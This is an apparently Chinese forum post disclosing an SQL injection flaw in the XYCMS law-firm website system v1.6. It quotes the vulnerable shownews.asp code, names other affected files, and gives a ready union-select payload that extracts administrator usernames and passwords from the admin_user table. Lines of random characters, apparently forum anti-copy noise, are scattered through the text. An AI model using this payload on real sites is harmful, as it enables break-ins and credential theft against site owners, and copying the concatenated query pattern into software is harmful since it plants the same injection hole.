XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
9 t: T% L2 Q, t  [* p+ O* s8 H
淫荡分割线
--------------------------------------------------------

6 l& m" [8 E5 C) [/ v6 e审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
) u+ C0 F: l+ A: y
漏洞文件:shownews.asp
漏洞代码：7-13行
9 H+ B8 Q$ n9 _, B6 [

<%
* \/ ]' q+ [$ ^2 h+ M4 _id=request.QueryString("id")
4 g) q9 q7 }' V8 e   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
snews.open exec,conn,1,1
- M/ [' \6 j$ R' h& \9 V%>


  A9 }  l9 E) [' ?$ \- e什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx

8 j0 M+ Q1 ~; X" h其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
- v( `1 [% R1 j6 K, {8 t  D

% C3 k/ V5 z. d' e- _exp: union select 1,admin,password,4,5,7 from admin_user
​